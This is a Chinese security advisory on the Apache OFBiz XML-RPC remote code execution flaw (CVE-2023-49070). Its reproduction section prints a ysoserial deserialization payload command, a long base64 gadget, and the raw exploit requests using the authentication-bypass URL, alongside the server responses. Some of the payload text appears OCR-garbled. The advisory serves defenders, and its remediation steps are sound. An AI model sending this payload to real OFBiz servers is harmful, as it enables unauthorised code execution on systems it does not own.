关于Apache OFBiz XML-RPC远程代码执行漏洞（CVE-2023-49070）预警

漏洞描述

Apache OFBiz（Apache Open For Business）是一个开源框架，旨在帮助构建企业资源计划（ERP）软件。

XML-RPC是一个远程过程调用的分布式计算协议，通过XML将调用函数封装，并使用HTTP协议作为发送机制。Apache XML-RPC是XML-RPC的一个Java实现。

Apache OFBiz 版本18.12.10之前，由于使用了不再维护的Apache XML-RPC，威胁者可发送特制HTTP请求到 XML-RPC接口/webtools/control/xmlrpc绕过接口过滤限制（CVE-2020-9496），成功利用该漏洞可能导致任意代码执行。

影响范围

Apache OFBiz 版本< 18.12.10

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	[已公开]	[已公开]	[已知]

风险等级

维度	评价
威胁等级	【高危】
影响面	【广】
攻击者价值	【中】
利用难度	【低】

漏洞复现

POC/EXP：

```
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 172.16.12.135:8443
Content-Type: application/xml
Content-Length: 4144
```

ProjectDiscovery

test

自己生成bas464的 payload

```
┌──(root㉿kali)-[/opt/tool]
└─# java -jar ysoserial-all.jar CommonsBeanutils1 "touch /opt/pocbs64" | base64 | tr -d "\n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUu
9tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS
b21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBh
hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABls
bGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3A
AAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW
dD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2Vya
FsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAciHMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTG
bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwA
AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwvcHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z
4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHR
L0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlA
AMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXX
YWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRF
NlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudG
ZTsMACwALQoAKwAuAQASdG91Y2ggL29wdC9wb2NiczY0CAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRh
xlAQAdeXNvc2VyaWFsL1B3bmVyMTQ1ODU5MDczNTExMzkBAB9MeXNvc2VyaWFsL1B3bmVyMTQ1ODU5MDczNTExMzk7ACEAAgADAAEABAABAB0ABQAGAAEABwAAAAIACAAEAAEACgALAAEADA
AC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAA
EAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQA
AB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAy
sKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2M
bFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmph
EMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWR
L3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgAT/
AAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=
```

Request

Pretty Raw Hex

```
1 GET /webtools/control/xmlrpc HTTP/1.1
2 Host: 172.16.12.135:8443
3 Content-Type: application/xml
4 Content-Length: 4144
5
6 <?xml version="1.0"?>
7   <methodCall>
8     <methodName>
        ProjectDiscovery
      </methodName>
9     <params>
10      <param>
11      <value>
12        <struct>
13          <member>
14            <name>
              test
            </name>
15          <value>
16            <serializable xmlns="
              http://ws.apache.org/xmlrpc/namespaces/extensions">
17              rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQ
                AEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7
                eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
                NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHBy
                b3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS
                5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVD
                b21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BA
                AAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhz
                bHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE
                51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsA
                Bl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMAB
                Ffb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4
                cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+A
                YIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJp
                YWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAA
                Y8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9j
                YWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYW
                QBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwv
                R2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAci
                hMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjLORP
                TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=F39DF12506B41DCAAD5DE7B4D9765C77.jvm1;
  Path=/webtools; Secure; HttpOnly
3 Content-Length: 0
4 Date: Wed, 13 Dec 2023 07:29:01 GMT
5
6
```

Request

Pretty Raw Hex

```
1 GET /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
  HTTP/1.1
2 Host: 172.16.12.135:8443
3 Content-Type: application/xml
4 Content-Length: 4144
5
6 <?xml version="1.0"?>
7   <methodCall>
8     <methodName>
        ProjectDiscovery
      </methodName>
9     <params>
10      <param>
11      <value>
12        <struct>
13          <member>
14            <name>
                test
              </name>
15            <value>
16              <serializable xmlns="
                http://ws.apache.org/xmlrpc/namespaces/extensions">
17                rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQ
                  AEc2l6ZUwACmNvbXBhcmF0b3JOABZMamF2YS91dGlsL0NvbXBhcmF0b3l7
                  eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
                  NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHBy
                  b3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS
                  5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVD
                  b21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BA
                  AAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhz
                  bHRjLnRyYXguVGVtcGxhdGVzSW1wbAIXT8FurKszAwAGSQANX2luZGVudE
                  51bWJlckkADI90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsA
                  BI9jbGFzc3QAEltMamF2YS9sYW5nLONsYXNzOOwABV9uYW1lcQB+AARMAB
                  Ffb3VOcHVOUHJvcGVydGllc3QAFkxqYXZhL3VOaWwvUHJvcGVydGllczt4
                  cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAItCrPMX+A
                  YIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJp
                  YWxWZXJzaW9uVUlEAQABSgEADUNvbnNOYW50VmFsdWUFrSCT85Hd7z4BAA
                  Y8aW5pdD4BAAMoKVYBAARDb2RIAQAPTGluZU51bWJlcIRhYmxIAQASTG9j
                  YWxWYXJpYWJsZVRhYmxIAQAEdGhpcwEAE1NOdWJUcmFuc2xldFBheWxvYW
                  QBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3VOaWwv
                  R2FkZ2VOcyRTdHViVHJhbnNsZXRQYXIsb2FkOwEACXRyYW5zZm9ybQEAci
                  bMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjLORP
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=85CB0CF4D50CD66A6124F90F104A29B6.jvm1;
  Path=/webtools; Secure; HttpOnly
3 Set-Cookie: OFBiz.Visitor=10101; Max-Age=31536000; Expires=Thu, 12 Dec
  2024 07:10:43 GMT; Path=/; Secure; HttpOnly
4 vary: accept-encoding
5 Content-Type: text/xml;charset=UTF-8
6 Date: Wed, 13 Dec 2023 07:10:43 GMT
7 Content-Length: 369
8
9 <?xml version="1.0" encoding="UTF-8"?>
    <methodResponse xmlns:ex="
    http://ws.apache.org/xmlrpc/namespaces/extensions">
      <fault>
        <value>
          <struct>
            <member>
              <name>
                faultCode
              </name>
              <value>
                <i4>
                  0
                </i4>
              </value>
            </member>
            <member>
              <name>
                faultString
              </name>
              <value>
                Failed to read XML-RPC request. Please check logs for more
                information
              </value>
            </member>
          </struct>
        </value>
      </fault>
    </methodResponse>
```

修复方案

官方修复：

1、 升级版本
目前该漏洞已经修复，受影响用户可升级到以下版本：

Apache OFBiz 版本>= 18.12.10

下载链接：

https://ofbiz.apache.org/download.html

2、 临时措施
若非必要可选择禁用XML-RPC接口，或通过网络层面的访问控制，限制对XML-RPC接口的访问。

3 、通用建议
定期更新系统补丁，减少系统漏洞，提升服务器的安全性。

加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。

使用企业级安全产品，提升企业的网络安全性能。

加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。

启用强密码策略并设置为定期修改。